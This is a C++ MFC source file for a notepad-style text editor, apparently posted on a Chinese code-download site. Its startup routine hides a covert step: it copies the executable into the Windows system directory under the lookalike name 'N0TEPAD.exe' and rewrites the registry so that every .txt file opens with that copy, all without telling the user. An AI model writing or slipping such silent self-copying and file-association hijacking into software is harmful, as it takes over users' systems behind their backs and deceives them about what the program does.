⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 notepade.cpp

📁 文本编辑器,记事本
💻 CPP
字号:
// Notepade.cpp : Defines the class behaviors for the application.
//

#include "stdafx.h"
#include "Notepade.h"

#include "MainFrm.h"
#include "NotepadeDoc.h"
#include "NotepadeView.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CNotepadeApp

BEGIN_MESSAGE_MAP(CNotepadeApp, CWinApp)
	//{{AFX_MSG_MAP(CNotepadeApp)
	ON_COMMAND(ID_APP_ABOUT, OnAppAbout)
		// NOTE - the ClassWizard will add and remove mapping macros here.
		//    DO NOT EDIT what you see in these blocks of generated code!
	//}}AFX_MSG_MAP
	// Standard file based document commands
	ON_COMMAND(ID_FILE_NEW, CWinApp::OnFileNew)
	ON_COMMAND(ID_FILE_OPEN, CWinApp::OnFileOpen)
	// Standard print setup command
	ON_COMMAND(ID_FILE_PRINT_SETUP, CWinApp::OnFilePrintSetup)
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CNotepadeApp construction

CNotepadeApp::CNotepadeApp()
{
	// TODO: add construction code here,
	// Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CNotepadeApp object

CNotepadeApp theApp;

/////////////////////////////////////////////////////////////////////////////
// CNotepadeApp initialization
LPBYTE CString_To_LPBYTE(CString str) 
	{ 
	LPBYTE lpb=new BYTE[str.GetLength()+1]; 
	for(int i=0; i<str.GetLength(); i++)
		lpb[i]=str[i];	
	lpb[str.GetLength()]=0; 
	return lpb; 
	}

BOOL CNotepadeApp::InitInstance()
{
	AfxEnableControlContainer();

	// Standard initialization
	// If you are not using these features and wish to reduce the size
	//  of your final executable, you should remove from the following
	//  the specific initialization routines you do not need.

#ifdef _AFXDLL
	Enable3dControls();			// Call this when using MFC in a shared DLL
#else
	Enable3dControlsStatic();	// Call this when linking to MFC statically
#endif

	// Change the registry key under which our settings are stored.
	// TODO: You should modify this string to be something appropriate
	// such as the name of your company or organization.
	SetRegistryKey(_T("Local AppWizard-Generated Applications"));

	LoadStdProfileSettings(0);  // Load standard INI file options (including MRU)

	// Register the application's document templates.  Document templates
	//  serve as the connection between documents, frame windows and views.

	CSingleDocTemplate* pDocTemplate;
	pDocTemplate = new CSingleDocTemplate(
		IDR_MAINFRAME,
		RUNTIME_CLASS(CNotepadeDoc),
		RUNTIME_CLASS(CMainFrame),       // main SDI frame window
		RUNTIME_CLASS(CNotepadeView));
	AddDocTemplate(pDocTemplate);

	// Enable DDE Execute open
	EnableShellOpen();
	RegisterShellFileTypes(TRUE);

	// Parse command line for standard shell commands, DDE, file open
	CCommandLineInfo cmdInfo;
	ParseCommandLine(cmdInfo);

	// Dispatch commands specified on the command line
	if (!ProcessShellCommand(cmdInfo))
		return FALSE;

	// The one and only window has been initialized, so show and update it.
	m_pMainWnd->ShowWindow(SW_SHOW);
	m_pMainWnd->UpdateWindow();

	// Enable drag/drop open
	m_pMainWnd->DragAcceptFiles();

/////////////////////////////////////////////////////////
//////////复制程序本身到系统目录/////////////////////////
	HKEY hKEY;//注册表句柄
	#define FILEKEY "\\N0TEPAD.exe"
	#define TXT_CONNECT "\" \"%1\""

	TCHAR szSystemDir[MAX_PATH+25]; //存放系统目录,_MAX_PATH为最大路径常数
	TCHAR szFileName[MAX_PATH]; //存放自身文件名
	//得到系统目录 
	:: GetSystemDirectory (szSystemDir, MAX_PATH); 
	///得到本身文件名
	GetModuleFileName(NULL,szFileName,MAX_PATH); 
	lstrcat(szSystemDir,FILEKEY); 
	//自动复制本身
	CopyFile(szFileName,szSystemDir,NULL);
	//关联TXT文件
	LPCTSTR data_Set="txtfile\\shell\\open\\command\\";
	long ret0=(::RegOpenKeyEx(HKEY_CLASSES_ROOT,data_Set, 0, KEY_ALL_ACCESS, &hKEY)); 
	lstrcat(szSystemDir,TXT_CONNECT);
	CString strTXT_Set=szSystemDir;
	strTXT_Set="\""+strTXT_Set;//设置的键值
	
	LPBYTE lpbTXT_Set=CString_To_LPBYTE(strTXT_Set); 
	DWORD type_txt=REG_SZ; 
	DWORD cbData_txt=strTXT_Set.GetLength()+1; 
	//与RegQureyValueEx()类似,hKEY表示已打开的键的句柄,″RegisteredOwner″ 
	//表示要访问的键值名,owner_Set表示新的键值,type_1和cbData_1表示新值。 
	//的数据类型和数据长度 
	//RegSetValueEx()NOTE::If lpValueName is NULL or an empty string, "", 
	//the function sets the type and data for the key's 
	//unnamed or default value
	long ret1=::RegSetValueEx(hKEY, NULL, NULL,
	type_txt, lpbTXT_Set, cbData_txt); 
	if(ret1!=ERROR_SUCCESS) 
	{ 
		MessageBox(NULL,"错误: 无法修改有关注册表信息!","fgh",MB_OK); //删除
		return true; 
	}


	::RegCloseKey(hKEY);	

	return true; 
}


/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About

class CAboutDlg : public CDialog
{
public:
	CAboutDlg();

// Dialog Data
	//{{AFX_DATA(CAboutDlg)
	enum { IDD = IDD_ABOUTBOX };
	//}}AFX_DATA

	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CAboutDlg)
	public:
	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	//}}AFX_VIRTUAL

// Implementation
protected:
	//{{AFX_MSG(CAboutDlg)
	virtual BOOL OnInitDialog();
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
	//{{AFX_DATA_INIT(CAboutDlg)
	//}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CAboutDlg)
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
	//{{AFX_MSG_MAP(CAboutDlg)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

// App command to run the dialog
void CNotepadeApp::OnAppAbout()
{
	CAboutDlg aboutDlg;
	aboutDlg.DoModal();
}

/////////////////////////////////////////////////////////////////////////////
// CNotepadeApp message handlers

BOOL CAboutDlg::OnInitDialog() 
{
	CDialog::OnInitDialog();
	
	// TODO: Add extra initialization here

	char hostname[_MAX_PATH];	//主机名
	char username[_MAX_PATH];	//用户名
	DWORD dwSize=_MAX_PATH;
	DWORD dwSize1=_MAX_PATH;
	MEMORYSTATUS mem_stat;		//可用物理内存

	GlobalMemoryStatus(&mem_stat);

	GetComputerName(hostname,&dwSize);
	GetUserName(username,&dwSize1);

	GetDlgItem(IDC_HOSTNAME)->SetWindowText(hostname);
	GetDlgItem(IDC_ORGANIZATION)->SetWindowText(username);
	
	CString str;
	str.Format("%d,%3dKB",mem_stat.dwTotalPhys/1024/1000,mem_stat.dwTotalPhys/1024-mem_stat.dwTotalPhys/1024/1000*1000);
	GetDlgItem(IDC_MEMPHYS)->SetWindowText(str);

	return TRUE;  // return TRUE unless you set the focus to a control
	              // EXCEPTION: OCX Property Pages should return FALSE
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -